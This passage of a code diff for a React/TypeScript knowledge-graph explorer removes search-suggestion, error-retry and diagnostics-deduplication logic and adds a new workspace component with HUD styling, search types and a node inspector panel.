setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
};
|
||||
|
||||
const selectSuggestion = (result: SearchResult) => {
|
||||
setSuggestions([]);
|
||||
closeSuggestions();
|
||||
onSelectSuggestion(result);
|
||||
};
|
||||
|
||||
return (
|
||||
<form
|
||||
className="explore-search-command"
|
||||
role="combobox"
|
||||
aria-expanded={suggestionsOpen && suggestions.length > 0}
|
||||
aria-haspopup="listbox"
|
||||
aria-owns={listboxId}
|
||||
onSubmit={(event) => {
|
||||
event.preventDefault();
|
||||
if (disabled) return;
|
||||
if (suggestionsOpen && highlightedIndex >= 0 && suggestions[highlightedIndex]) {
|
||||
selectSuggestion(suggestions[highlightedIndex]);
|
||||
return;
|
||||
if (!disabled) {
|
||||
onSubmit();
|
||||
}
|
||||
closeSuggestions();
|
||||
onSubmit();
|
||||
}}
|
||||
>
|
||||
<Search size={17} strokeWidth={2.15} aria-hidden />
|
||||
<input
|
||||
value={value}
|
||||
onChange={(event) => onChange(event.target.value)}
|
||||
onFocus={() => {
|
||||
if (suggestions.length > 0) {
|
||||
setSuggestionsOpen(true);
|
||||
}
|
||||
}}
|
||||
onBlur={() => {
|
||||
window.setTimeout(closeSuggestions, 120);
|
||||
}}
|
||||
onKeyDown={(event) => {
|
||||
if (!suggestionsOpen || suggestions.length === 0) return;
|
||||
if (event.key === "ArrowDown") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current + 1) % suggestions.length);
|
||||
} else if (event.key === "ArrowUp") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current <= 0 ? suggestions.length - 1 : current - 1));
|
||||
} else if (event.key === "Escape") {
|
||||
event.preventDefault();
|
||||
closeSuggestions();
|
||||
}
|
||||
}}
|
||||
placeholder="Search command, node, or concept"
|
||||
aria-label="Search graph nodes"
|
||||
aria-autocomplete="list"
|
||||
aria-controls={listboxId}
|
||||
aria-activedescendant={highlightedIndex >= 0 ? `${listboxId}-${highlightedIndex}` : undefined}
|
||||
/>
|
||||
<button type="submit" disabled={disabled} aria-label="Search for the current query">
|
||||
Search
|
||||
</button>
|
||||
|
||||
{suggestionsOpen && suggestions.length > 0 ? (
|
||||
<ul id={listboxId} role="listbox" className="explore-search-suggestions" aria-label="Search suggestions">
|
||||
{suggestions.map((result, index) => (
|
||||
<li
|
||||
key={result.node.id}
|
||||
id={`${listboxId}-${index}`}
|
||||
role="option"
|
||||
aria-selected={index === highlightedIndex}
|
||||
data-highlighted={index === highlightedIndex}
|
||||
onMouseDown={(event) => {
|
||||
event.preventDefault();
|
||||
selectSuggestion(result);
|
||||
}}
|
||||
onMouseEnter={() => setHighlightedIndex(index)}
|
||||
>
|
||||
<span className="explore-search-suggestion-label">{result.node.content || result.node.id}</span>
|
||||
<span className="explore-search-suggestion-type">{result.node.type}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
) : null}
|
||||
</form>
|
||||
);
|
||||
}
|
||||
@@ -709,7 +576,6 @@ const HUD_CSS = `
|
||||
gap: 10px;
|
||||
}
|
||||
.explore-search-command {
|
||||
position: relative;
|
||||
min-width: 0;
|
||||
height: 43px;
|
||||
display: grid;
|
||||
@@ -725,50 +591,6 @@ const HUD_CSS = `
|
||||
color: ${GRAPH_THEME.ui.text.muted};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.045), 0 14px 30px rgba(0,0,0,0.16);
|
||||
}
|
||||
.explore-search-suggestions {
|
||||
position: absolute;
|
||||
top: calc(100% + 6px);
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 30;
|
||||
margin: 0;
|
||||
padding: 6px;
|
||||
list-style: none;
|
||||
max-height: 288px;
|
||||
overflow-y: auto;
|
||||
border-radius: 14px;
|
||||
border: 1px solid ${GRAPH_THEME.ui.control.inputBorder};
|
||||
background: ${GRAPH_THEME.ui.surface.cardStrong};
|
||||
box-shadow: 0 18px 40px rgba(0,0,0,0.32), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.explore-search-suggestions li {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
gap: 10px;
|
||||
padding: 8px 10px;
|
||||
border-radius: 10px;
|
||||
cursor: pointer;
|
||||
color: ${GRAPH_THEME.ui.text.body};
|
||||
}
|
||||
.explore-search-suggestions li[data-highlighted="true"] {
|
||||
background: ${GRAPH_THEME.ui.control.hoverBg};
|
||||
}
|
||||
.explore-search-suggestion-label {
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
font-size: 13px;
|
||||
font-weight: 600;
|
||||
}
|
||||
.explore-search-suggestion-type {
|
||||
flex-shrink: 0;
|
||||
font-size: 11px;
|
||||
color: ${GRAPH_THEME.ui.text.subtle};
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.explore-search-command:focus-within {
|
||||
border-color: ${GRAPH_THEME.ui.control.activeBorder};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), 0 0 0 1px ${GRAPH_THEME.ui.control.focusRing}, 0 16px 32px rgba(0,0,0,0.18);
|
||||
@@ -1297,18 +1119,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
const [activeNodeCount, setActiveNodeCount] = useState<number | null>(null);
|
||||
const [temporalBounds, setTemporalBounds] = useState<TemporalBounds | null>(null);
|
||||
const [scrubberTime, setScrubberTime] = useState<Date | null>(null);
|
||||
// Deduplicates setScrubberTime calls by millisecond value so that React 18
|
||||
// concurrent-mode re-renders with a new Date object for the same timestamp
|
||||
// do not churn temporalState and retrigger the diagnostics effect (issue #830).
|
||||
const lastScrubberMsRef = useRef<number | null>(null);
|
||||
const onTimeChange = useCallback((time: Date) => {
|
||||
const ms = time.getTime();
|
||||
if (ms === lastScrubberMsRef.current) {
|
||||
return;
|
||||
}
|
||||
lastScrubberMsRef.current = ms;
|
||||
setScrubberTime(time);
|
||||
}, []);
|
||||
const [loadingProgress, setLoadingProgress] = useState<GraphLoadProgress | null>(null);
|
||||
const [pluginPanelState, setPluginPanelState] = useState<Record<string, boolean>>({
|
||||
"effects-panel": false,
|
||||
@@ -1319,9 +1129,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
const [pluginRuntimeVersion, setPluginRuntimeVersion] = useState(0);
|
||||
const [effectsState, setEffectsState] = useState<GraphEffectsState>(DEFAULT_EFFECTS_STATE);
|
||||
const [graphDiagnosticsState, setGraphDiagnosticsState] = useState<GraphRuntimeDiagnosticsSnapshot | null>(null);
|
||||
// Tracks the last accepted diagnostics outside React's state cycle, allowing
|
||||
// handleDiagnosticsChange to compare synchronously before calling setState.
|
||||
const lastDiagnosticsRef = useRef<GraphRuntimeDiagnosticsSnapshot | null>(null);
|
||||
const [graphAnalyticsState, setGraphAnalyticsState] = useState<GraphAnalyticsSnapshot | null>(null);
|
||||
const [loadedPlugins, setLoadedPlugins] = useState<Record<string, GraphPlugin>>({});
|
||||
|
||||
@@ -1402,28 +1209,12 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}));
|
||||
}, []);
|
||||
|
||||
const {
|
||||
data: summary,
|
||||
isLoading,
|
||||
isFetching,
|
||||
isError: isGraphLoadError,
|
||||
error: graphLoadError,
|
||||
refetch: refetchGraph,
|
||||
} = useLoadGraph({
|
||||
const { data: summary, isLoading, isFetching } = useLoadGraph({
|
||||
enabled: true,
|
||||
onGraphReady: applyGraphReadySummary,
|
||||
onProgress: handleLoadProgress,
|
||||
});
|
||||
|
||||
const graphLoadErrorMessage = isGraphLoadError
|
||||
? (graphLoadError instanceof Error ? graphLoadError.message : "Unknown error while loading the graph.")
|
||||
: null;
|
||||
|
||||
const handleRetryGraphLoad = useCallback(() => {
|
||||
setLoadingProgress(null);
|
||||
void refetchGraph();
|
||||
}, [refetchGraph]);
|
||||
|
||||
useEffect(() => {
|
||||
if (isLayoutRunning) {
|
||||
return;
|
||||
@@ -1716,11 +1507,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}
|
||||
}, [searchQuery]);
|
||||
|
||||
const handleClearSearchResults = useCallback(() => {
|
||||
setSearchResults([]);
|
||||
setSearchError("");
|
||||
}, []);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!inspectableNodeId) return;
|
||||
setIsRunningPredictions(true);
|
||||
@@ -2099,7 +1885,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
viewMode,
|
||||
]);
|
||||
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress) || isGraphLoadError);
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress));
|
||||
const showSettlingStatus = graphReady && loadingProgress?.phase === "stabilizing_layout";
|
||||
const hasGraphContent = Boolean(summary?.nodeCount);
|
||||
const activePath = pathResult?.path ?? EMPTY_PATH;
|
||||
@@ -2270,7 +2056,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
title: "Open exploration effects controls",
|
||||
order: 18,
|
||||
load: loadExplorationEffectsPlugin,
|
||||
shouldLoad: explorationEffectsShouldLoad,
|
||||
shouldLoad: ({ panelState }) => Boolean(panelState["effects-panel"]),
|
||||
},
|
||||
{
|
||||
id: "neighborhood-panel",
|
||||
@@ -2279,7 +2065,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
title: "Toggle neighborhood panel",
|
||||
order: 30,
|
||||
load: loadNeighborhoodPanelPlugin,
|
||||
shouldLoad: neighborhoodPanelShouldLoad,
|
||||
shouldLoad: ({ panelState }) => Boolean(panelState["neighborhood-panel"]),
|
||||
},
|
||||
{
|
||||
id: "temporal-overlay",
|
||||
@@ -2288,7 +2074,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
title: "Toggle temporal context panel",
|
||||
order: 40,
|
||||
load: loadTemporalOverlayPlugin,
|
||||
shouldLoad: temporalOverlayShouldLoad,
|
||||
shouldLoad: ({ panelState, temporalState }) => Boolean(panelState["temporal-panel"] || temporalState?.currentTime),
|
||||
},
|
||||
],
|
||||
[],
|
||||
@@ -2306,7 +2092,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return;
|
||||
}
|
||||
|
||||
if (!entry.shouldLoad({ panelState: pluginPanelState })) {
|
||||
if (!entry.shouldLoad({ panelState: pluginPanelState, temporalState })) {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -2325,7 +2111,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [loadedPlugins, pluginPanelState, pluginRegistry]);
|
||||
}, [loadedPlugins, pluginPanelState, pluginRegistry, temporalState]);
|
||||
|
||||
const setEffectToggle = useCallback((effect: GraphEffectToggle, enabled: boolean | ((current: boolean) => boolean)) => {
|
||||
setEffectsState((current) => {
|
||||
@@ -2488,55 +2274,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
if (!GRAPH_THEME.effects.diagnostics.enabledInDev) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Compare against the last accepted snapshot synchronously before calling
|
||||
// setState. buildEffectAvailability always returns a new object, so an
|
||||
// unconditional setGraphDiagnosticsState on every call created a
|
||||
// render → diagnostics effect → setState → render cycle that exceeded
|
||||
// React's max update depth in dev mode (issue #830).
|
||||
const prev = lastDiagnosticsRef.current;
|
||||
if (prev !== null) {
|
||||
const EFFECT_KEYS = [
|
||||
"pathPulse", "pathFlow", "lens", "temporalEmphasis", "semanticRegions",
|
||||
"contours", "pathfinding", "communities", "centrality", "legend", "diagnostics",
|
||||
] as const;
|
||||
const prevEA = prev.effectAvailability;
|
||||
const nextEA = diagnostics.effectAvailability;
|
||||
const availabilityChanged = EFFECT_KEYS.some((key) => {
|
||||
const p = prevEA[key];
|
||||
const n = nextEA[key];
|
||||
return (
|
||||
p.enabled !== n.enabled ||
|
||||
p.available !== n.available ||
|
||||
p.reason !== n.reason ||
|
||||
p.detail !== n.detail ||
|
||||
p.visibleSegments !== n.visibleSegments ||
|
||||
p.segmentCap !== n.segmentCap
|
||||
);
|
||||
});
|
||||
|
||||
const edgeClassesChanged =
|
||||
prev.edgeClasses?.updatedAt !== diagnostics.edgeClasses?.updatedAt;
|
||||
|
||||
const structureLayerChanged =
|
||||
prev.structureLayer?.cacheKey !== diagnostics.structureLayer?.cacheKey ||
|
||||
prev.structureLayer?.lastDrawAt !== diagnostics.structureLayer?.lastDrawAt ||
|
||||
prev.structureLayer?.enabled !== diagnostics.structureLayer?.enabled ||
|
||||
prev.structureLayer?.disabledReason !== diagnostics.structureLayer?.disabledReason ||
|
||||
prev.structureLayer?.curveCount !== diagnostics.structureLayer?.curveCount ||
|
||||
prev.structureLayer?.bridgeCurveCount !== diagnostics.structureLayer?.bridgeCurveCount ||
|
||||
prev.structureLayer?.backboneCurveCount !== diagnostics.structureLayer?.backboneCurveCount;
|
||||
|
||||
// distanceVisual is compared by reference: GraphCanvas passes the same
|
||||
// object when distances haven't changed.
|
||||
const distanceVisualChanged = prev.distanceVisual !== diagnostics.distanceVisual;
|
||||
|
||||
if (!availabilityChanged && !edgeClassesChanged && !structureLayerChanged && !distanceVisualChanged) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
lastDiagnosticsRef.current = diagnostics;
|
||||
setGraphDiagnosticsState(diagnostics);
|
||||
}, []);
|
||||
|
||||
@@ -2962,10 +2699,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
disabled={searchDisabled}
|
||||
onChange={setSearchQuery}
|
||||
onSubmit={() => void handleSearch()}
|
||||
onSelectSuggestion={(result) => {
|
||||
setSearchQuery("");
|
||||
focusNode(result.node.id);
|
||||
}}
|
||||
/>
|
||||
<SegmentedModeControl items={viewModeItems} />
|
||||
<div className="explore-toolbelt">
|
||||
@@ -3041,36 +2774,20 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
{searchError ? <div style={{ color: "#ff7b72", fontSize: 12 }}>{searchError}</div> : null}
|
||||
|
||||
{searchResults.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", justifyContent: "space-between", gap: 12 }}>
|
||||
<span style={{ color: "#8b949e", fontSize: 12 }}>
|
||||
{searchResults.length} result{searchResults.length === 1 ? "" : "s"}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleClearSearchResults}
|
||||
style={{ ...secondaryActionButtonStyle, minHeight: 26, padding: "4px 9px", gap: 5 }}
|
||||
aria-label="Dismiss search results"
|
||||
>
|
||||
<X size={12} strokeWidth={2.4} />
|
||||
Dismiss
|
||||
</button>
|
||||
</div>
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{Math.round(result.score)}
|
||||
</div>
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{result.score.toFixed(3)}
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
@@ -3164,8 +2881,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={hasGraphContent || Boolean(loadingProgress?.showGraphBehind)}
|
||||
error={graphLoadErrorMessage}
|
||||
onRetry={handleRetryGraphLoad}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -3207,7 +2922,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
<div className="explore-scene-footer">
|
||||
<Suspense fallback={<div style={timelineFallbackStyle}>Loading timeline…</div>}>
|
||||
<LazyTimelinePanel
|
||||
onTimeChange={onTimeChange}
|
||||
onTimeChange={setScrubberTime}
|
||||
minDate={temporalBounds?.min ?? undefined}
|
||||
maxDate={temporalBounds?.max ?? undefined}
|
||||
/>
|
||||
|
||||
@@ -0,0 +1,851 @@
|
||||
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState, type CSSProperties } from "react";
|
||||
|
||||
import { GraphLoadingOverlay } from "./GraphLoadingOverlay";
|
||||
import { getGraphLoadTitle } from "./graphLoading";
|
||||
import { useGraphData, useReloadGraphData } from "./useGraphData";
|
||||
import type {
|
||||
ApiNode,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
type SearchResult = {
|
||||
node: {
|
||||
id: string;
|
||||
type: string;
|
||||
content: string;
|
||||
properties: Record<string, unknown>;
|
||||
};
|
||||
score: number;
|
||||
};
|
||||
|
||||
type LinkPrediction = {
|
||||
target: string;
|
||||
type: string;
|
||||
label?: string;
|
||||
score: number;
|
||||
};
|
||||
|
||||
type PathResponse = {
|
||||
path: GraphPath;
|
||||
total_weight: number;
|
||||
hop_count: number;
|
||||
distance_band: "direct" | "near" | "mid-range" | "distant";
|
||||
};
|
||||
|
||||
type TemporalBounds = {
|
||||
min?: string | null;
|
||||
max?: string | null;
|
||||
};
|
||||
|
||||
const GraphRuntimeStage = lazy(() =>
|
||||
import("./GraphRuntimeStage").then((module) => ({ default: module.GraphRuntimeStage })),
|
||||
);
|
||||
const TimelinePanel = lazy(() =>
|
||||
import("./TimelinePanel").then((module) => ({ default: module.TimelinePanel })),
|
||||
);
|
||||
|
||||
const HUD_CSS = `
|
||||
.palantir-bg {
|
||||
background:
|
||||
radial-gradient(circle at top, rgba(103, 182, 255, 0.1), transparent 24%),
|
||||
linear-gradient(180deg, #07111d 0%, #02060e 100%);
|
||||
}
|
||||
.palantir-grid {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background-image:
|
||||
linear-gradient(rgba(88, 166, 255, 0.04) 1px, transparent 1px),
|
||||
linear-gradient(90deg, rgba(88, 166, 255, 0.04) 1px, transparent 1px);
|
||||
background-size: 44px 44px;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
opacity: 0.78;
|
||||
}
|
||||
.palantir-vignette {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at center, transparent 34%, rgba(1, 4, 9, 0.88) 100%);
|
||||
pointer-events: none;
|
||||
z-index: 2;
|
||||
}
|
||||
.hud-scrollbar::-webkit-scrollbar { width: 6px; }
|
||||
.hud-scrollbar::-webkit-scrollbar-track { background: transparent; }
|
||||
.hud-scrollbar::-webkit-scrollbar-thumb { background: rgba(88, 166, 255, 0.25); border-radius: 6px; }
|
||||
.graph-shell-top { position: absolute; top: 18px; left: 18px; right: 18px; z-index: 10; display: flex; justify-content: space-between; align-items: flex-start; gap: 16px; pointer-events: none; }
|
||||
.graph-status-card, .graph-command-card {
|
||||
pointer-events: auto;
|
||||
border: 1px solid rgba(132, 197, 255, 0.12);
|
||||
background: linear-gradient(180deg, rgba(7, 16, 29, 0.86), rgba(10, 22, 39, 0.72)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 50%);
|
||||
box-shadow: 0 18px 42px rgba(0, 0, 0, 0.28), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
backdrop-filter: blur(18px);
|
||||
}
|
||||
.graph-status-card { width: min(420px, 38vw); border-radius: 24px; padding: 16px 18px; }
|
||||
.graph-command-card { width: min(620px, 55vw); border-radius: 24px; padding: 14px; display: flex; flex-direction: column; gap: 12px; }
|
||||
.graph-status-label { display: inline-flex; align-items: center; gap: 8px; color: rgba(160, 191, 223, 0.88); font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-status-label::before { content: ""; width: 7px; height: 7px; border-radius: 999px; background: linear-gradient(135deg, #8ed3ff, #ffb36a); box-shadow: 0 0 12px rgba(142, 211, 255, 0.5); }
|
||||
.graph-status-title { color: #eef5ff; font-size: 20px; font-weight: 800; letter-spacing: -0.04em; margin-bottom: 6px; }
|
||||
.graph-status-copy { color: #8fa8c6; font-size: 12px; line-height: 1.55; margin-bottom: 14px; max-width: 40ch; }
|
||||
.graph-status-metrics, .graph-command-row, .graph-toggle-cluster, .graph-action-cluster { display: flex; gap: 8px; flex-wrap: wrap; }
|
||||
.graph-command-row { justify-content: space-between; align-items: center; gap: 10px; }
|
||||
.graph-search-shell { flex: 1; min-width: 260px; display: flex; align-items: center; gap: 10px; padding: 8px 10px 8px 14px; border-radius: 18px; border: 1px solid rgba(132, 197, 255, 0.12); background: rgba(0, 0, 0, 0.18); box-shadow: inset 0 1px 0 rgba(255,255,255,0.03); }
|
||||
.graph-search-shell input { flex: 1; min-width: 0; border: none !important; background: transparent !important; padding: 0 !important; margin: 0 !important; }
|
||||
.graph-search-shell input:focus { outline: none; }
|
||||
.graph-search-results { position: absolute; top: 120px; right: 18px; width: min(420px, calc(100vw - 132px)); max-height: 320px; overflow-y: auto; padding: 12px; border-radius: 20px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.94), rgba(10, 21, 38, 0.86)); box-shadow: 0 18px 50px rgba(0,0,0,0.34); backdrop-filter: blur(18px); pointer-events: auto; z-index: 11; }
|
||||
.graph-search-results-label { color: #6f89ab; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-search-result-card { width: 100%; text-align: left; padding: 12px 14px; border-radius: 16px; border: 1px solid rgba(132, 197, 255, 0.08); background: rgba(255, 255, 255, 0.025); cursor: pointer; transition: transform 160ms ease, border-color 160ms ease, background 160ms ease; }
|
||||
.graph-search-result-card:hover { transform: translateY(-1px); border-color: rgba(132, 197, 255, 0.18); background: rgba(103, 182, 255, 0.08); }
|
||||
.graph-inspector { pointer-events: auto; position: absolute; right: 18px; top: 154px; bottom: 108px; width: 380px; overflow-y: auto; transition: transform 0.34s cubic-bezier(0.16,1,0.3,1), opacity 0.22s ease; border-radius: 28px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.9), rgba(6, 12, 22, 0.88)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 40%); box-shadow: -18px 0 48px rgba(0, 0, 0, 0.32), inset 0 1px 0 rgba(255,255,255,0.04); backdrop-filter: blur(20px); }
|
||||
.graph-inspector[data-open='false'] { transform: translateX(calc(100% + 24px)); opacity: 0; }
|
||||
@keyframes sem-loader-pulse {
|
||||
0%, 100% { transform: translateY(0) scale(0.92); opacity: 0.55; }
|
||||
50% { transform: translateY(-4px) scale(1.08); opacity: 1; }
|
||||
}
|
||||
@media (max-width: 1220px) {
|
||||
.graph-shell-top { flex-direction: column; align-items: stretch; }
|
||||
.graph-status-card, .graph-command-card { width: auto; }
|
||||
.graph-search-results { top: 202px; right: 18px; left: 18px; width: auto; }
|
||||
}
|
||||
`;
|
||||
|
||||
function useDebounce<T>(value: T, delay: number): T {
|
||||
const [debouncedValue, setDebouncedValue] = useState<T>(value);
|
||||
useEffect(() => {
|
||||
const timeout = setTimeout(() => setDebouncedValue(value), delay);
|
||||
return () => clearTimeout(timeout);
|
||||
}, [delay, value]);
|
||||
return debouncedValue;
|
||||
}
|
||||
|
||||
function sourceAttribution(properties: Record<string, unknown>) {
|
||||
const keys = ["source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"];
|
||||
return keys
|
||||
.filter((key) => key in properties)
|
||||
.map((key) => ({ key, value: properties[key] }));
|
||||
}
|
||||
|
||||
function toSelectedNodeState(node: ApiNode, neighborCount: number, fallbackColor = "#58a6ff"): GraphSelectedNodeState {
|
||||
return {
|
||||
id: node.id,
|
||||
label: node.content || node.id,
|
||||
content: node.content || node.id,
|
||||
nodeType: node.type,
|
||||
color: fallbackColor,
|
||||
valid_from: node.valid_from ?? null,
|
||||
valid_until: node.valid_until ?? null,
|
||||
properties: node.properties ?? {},
|
||||
neighborCount,
|
||||
visibleNeighborCount: neighborCount,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: neighborCount > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function TimelineFallback({ min, max }: TemporalBounds) {
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
width: "100%",
|
||||
height: "90px",
|
||||
borderTop: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
background: "rgba(1, 4, 9, 0.88)",
|
||||
display: "flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "space-between",
|
||||
padding: "0 18px",
|
||||
color: "#8fa8c6",
|
||||
fontSize: 12,
|
||||
flexShrink: 0,
|
||||
}}
|
||||
>
|
||||
<span>Temporal scrubber</span>
|
||||
<span>{min || max ? "Preparing timeline runtime..." : "Temporal bounds loading..."}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function NodePanel({
|
||||
node,
|
||||
predictions,
|
||||
predictionType,
|
||||
onPredictionTypeChange,
|
||||
onRunPredictions,
|
||||
pathTargetId,
|
||||
onPathTargetChange,
|
||||
onTracePath,
|
||||
pathResult,
|
||||
onDownloadProvenance,
|
||||
}: {
|
||||
node: GraphSelectedNodeState | null;
|
||||
predictions: LinkPrediction[];
|
||||
predictionType: string;
|
||||
onPredictionTypeChange: (value: string) => void;
|
||||
onRunPredictions: () => void;
|
||||
pathTargetId: string;
|
||||
onPathTargetChange: (value: string) => void;
|
||||
onTracePath: () => void;
|
||||
pathResult: PathResponse | null;
|
||||
onDownloadProvenance: (format: "json" | "markdown") => void;
|
||||
}) {
|
||||
if (!node) {
|
||||
return (
|
||||
<div style={{ padding: 32, textAlign: "center" }}>
|
||||
<p style={{ color: "#8b949e", fontSize: 14, margin: 0 }}>
|
||||
Search for a node or click one in the canvas to inspect its properties.
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const properties = node.properties ?? {};
|
||||
const attribution = sourceAttribution(properties);
|
||||
const accentColor = node.color || "#58a6ff";
|
||||
const propertyEntries = Object.entries(properties).filter(([key]) => !["x", "y", "valid_from", "valid_until", "content", "source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"].includes(key));
|
||||
|
||||
return (
|
||||
<aside style={{ padding: 24, display: "flex", flexDirection: "column", gap: 18 }}>
|
||||
<div style={{ borderBottom: "1px solid rgba(88, 166, 255, 0.14)", paddingBottom: 16 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", gap: 10, marginBottom: 8 }}>
|
||||
<span style={{ background: accentColor, boxShadow: `0 0 10px ${accentColor}`, width: 8, height: 8, borderRadius: "50%" }} />
|
||||
<span style={{ color: accentColor, fontSize: 12, fontWeight: 800, textTransform: "uppercase", letterSpacing: "0.08em" }}>{node.nodeType || "Entity"}</span>
|
||||
</div>
|
||||
<h3 style={{ margin: 0, color: "#fff", fontSize: 24, lineHeight: 1, fontWeight: 800, letterSpacing: "-0.04em", wordBreak: "break-word" }}>{node.label}</h3>
|
||||
<div style={{ color: "#8b949e", fontSize: 12, marginTop: 8 }}>{node.id}</div>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap", marginTop: 12 }}>
|
||||
{node.valid_from || node.valid_until ? <span style={subtleChipStyle}>temporal</span> : null}
|
||||
<span style={subtleChipStyle}>{node.neighborCount} neighbors</span>
|
||||
{attribution.length ? <span style={subtleChipStyle}>{attribution.length} source fields</span> : null}
|
||||
{predictions.length ? <span style={subtleChipStyle}>{predictions.length} candidate links</span> : null}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Actions</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 10 }}>
|
||||
<button style={{ ...actionButtonStyle, width: "100%", justifyContent: "center" }} onClick={onRunPredictions}>Run Link Prediction</button>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap" }}>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("json")}>Provenance JSON</button>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("markdown")}>Provenance MD</button>
|
||||
</div>
|
||||
</div>
|
||||
